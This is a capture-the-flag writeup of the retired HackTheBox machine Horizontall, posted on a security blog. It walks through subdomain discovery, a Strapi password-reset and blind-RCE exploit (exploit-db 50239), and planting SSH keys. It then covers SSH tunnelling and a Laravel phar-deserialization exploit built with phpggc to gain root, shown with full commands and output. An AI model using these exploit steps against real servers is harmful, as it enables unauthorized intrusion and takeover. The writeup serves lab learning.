HTB: Horizontall

Posted on 07 Feb 2022 in security • 3 min read

Horizontall Card

This box is a writeup about a retired HacktheBox machine: Horizontall publish on August 28, 2021 by wail99. This box is rated as an easy machine. It implies a hidden subdomain, a strapi exploit, some "tunneling" and a laravel exploit.

Foothold and user


Let us start as always by a nmap scan. Only port 80 (HTTP) and 22 (SSH) are open.

# Nmap 7.91 scan initiated Sat Sep  11 09:22:36 2021 as: nmap -sSV -p- -oN -A
Nmap scan report for
Host is up (0.013s latency).
Not shown: 65533 closed ports
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 ee:77:41:43:d4:82:bd:3e:6e:6e:50:cd:ff:6b:0d:d5 (RSA)
|   256 3a:d5:89:d5:da:95:59:d9:df:01:68:37:ca:d5:10:b0 (ECDSA)
|_  256 4a:00:04:b4:9d:29:e7:af:37:16:1b:4f:80:2d:98:94 (ED25519)
80/tcp open  http    nginx 1.14.0 (Ubuntu)
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: Did not follow redirect to http://horizontall.htb


The website is just a marketing one without anything interesting in its content. Looking at the loaded JavaScript file we found a specific call to a subdomain that we can add to our /etc/hosts.

└─$ curl http://horizontall.htb/js/app.c68eb462.js | /home/kali/.local/bin/js-beautify | grep horizontall
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                Dload  Upload   Total   Spent    Left  Speed
100 18900  100 18900    0     0   498k      0 --:--:-- --:--:-- --:--:--  498k
                        href: "https://horizontall.htb"
                        r.a.get("http://api-prod.horizontall.htb/reviews").then((function(s) {
        t.exports = e.p + "img/horizontall.2db2bc37.png"

The second website is a strapi website. Looking at the specific we found that the version is 3.0.0-beta.17.4

└─$ curl http://api-prod.horizontall.htb/admin/init

This version of strapi is vulnerable to a RCE exploit available on exploit-db (50239).

We load the exploit and we can run a wget against our own python server to test the blind RCE.

└─$ python3 50239 http://api-prod.horizontall.htb/
[+] Checking Strapi CMS Version running
[+] Seems like the exploit will work!!!
[+] Executing exploit

[+] Password reset was successfully
[+] Your email is: admin@horizontall.htb
[+] Your new credentials are: admin:SuperStrongPassword1
[+] Your authenticated JSON Web Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MywiaXNBZG1pbiI6dHJ1ZSwiaWF0IjoxNjMxMDIyNzM2LCJleHAiOjE2MzM2MTQ3MzZ9.-UWojwKiQop7GU3filSvSDO9Z-VbCkmqQ26dUFPEr-k

$> wget
[+] Triggering Remote code executin
[*] Rember this is a blind RCE don't expect to see output
{"statusCode":400,"error":"Bad Request","message":[{"messages":[{"id":"An error occurred"}]}]}
$> wget$(id)

└─$ python3 -m http.server
Serving HTTP on port 8000 ( ... - - [11/Sep/2021 09:54:17] code 404, message File not found - - [11/Sep/2021 09:54:17] "GET /uid=1001(strapi) HTTP/1.1" 404 -

Now we just need to change the command and put our SSH public key in the SSH authorized_keys.

$> mkdir ~/.ssh/
[+] Triggering Remote code executin
[*] Rember this is a blind RCE don't expect to see output
{"statusCode":400,"error":"Bad Request","message":[{"messages":[{"id":"An error occurred"}]}]}
$> echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDVMEKiOVgCorfjoFTX4c/mX1hJZDEM491m37QYTW1kZJpn4yftI6QSgu/S8b0xrJu6lTrGj2NeTvvuuC9969QmyW6E7fDQdXQkkhuq/b9D+DgfudBBlWEfsJVeOvFqt/ZrAgp8VrT8p+HUEvUdKQ4sS828Xi7aDVhrs/stIdv2cgsiBdslMfDct40Pzu5uz1D3ZkBi5RJV+HPZ2yFGbDrQ8bVlAsQf6Mnlv5f+eshNPs8dtsyWNgYczN7IE8R18Cy3rc8wI1/r440PTsFvgBQNttW7Wl2QP8o+xrgOSYIpg6SL/9GMOLhqQtksHRvckEje+rYbumdenaCzk038zS3JWVYCMmNOsVV5Nqwa5oLJafOTUhFpeofuwDjKEldYYc90F1IR3IX1zrtmZIHFWHSU5zIlMk3nRq0BPs49gzMYyZH+ProRp/NTbUDH+sj13w2mNsZk8yrTOjocM5Sx3J5R3Md0Bmmo1ObODeaubeDKHBFBH3GrfZNT3nVFL80wYEU= kali@kali' > ~/.ssh/authorized_keys

We can then connect using SSH as the strapi user and get the user flag (who is located in the deveploper user home).

└─$ ssh strapi@horizontall.htb
$ bash
strapi@horizontall:~$ id
uid=1001(strapi) gid=1001(strapi) groups=1001(strapi)
strapi@horizontall:~$ cat /home/developer/user.txt


We launch linpeas on the box, using scp to upload it. We found a few attacks vector including a few service available directly on the box.

strapi@horizontall:~$ netstat -lap
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0   *               LISTEN      -
tcp        0      0 localhost:1337*               LISTEN      1803/node /usr/bin/
tcp        0      0 localhost:8000*               LISTEN      -
tcp        0      0 localhost:mysql*               LISTEN      -
tcp        0      0  *               LISTEN      -

We use SSH to establish a tunnel between our kalibox and the services.

ssh strapi@horizontall.htb -L 8000:

We can then browse to the service and see that this is a laravel instance.


A Google search for "laravel exploit" lead us to an ambionics blog post about a laravel RCE.

Reading the article we found a PoC available on github. We use it directly after downloading phpggc.

└─$ php -d'phar.readonly=0' ./phpggc --phar phar -f -o /tmp/exploit.phar monolog/rce1 system id

└─$ python3 ./ /tmp/exploit.phar
+ Log file: /home/developer/myproject/storage/logs/laravel.log
+ Logs cleared
+ Successfully converted to PHAR !
+ Phar deserialized
uid=0(root) gid=0(root) groups=0(root)
+ Logs cleared

Now that we have a root RCE we can just put our SSH public key in the authorized_keys file and get a root SSH shell.

└─$ php -d'phar.readonly=0' ./phpggc/phpggc --phar phar -f -o /tmp/exploit.phar monolog/rce1 system 'cp -r /opt/strapi/.ssh/ /root/'

└─$ python3 ./ /tmp/exploit.phar
+ Log file: /home/developer/myproject/storage/logs/laravel.log
+ Logs cleared
+ Successfully converted to PHAR !
+ Phar deserialized
Exploit succeeded
+ Logs cleared

└─$ ssh root@horizontall.htb
root@horizontall:~# id
uid=0(root) gid=0(root) groups=0(root)
root@horizontall:~# cat root.txt

Wrapping up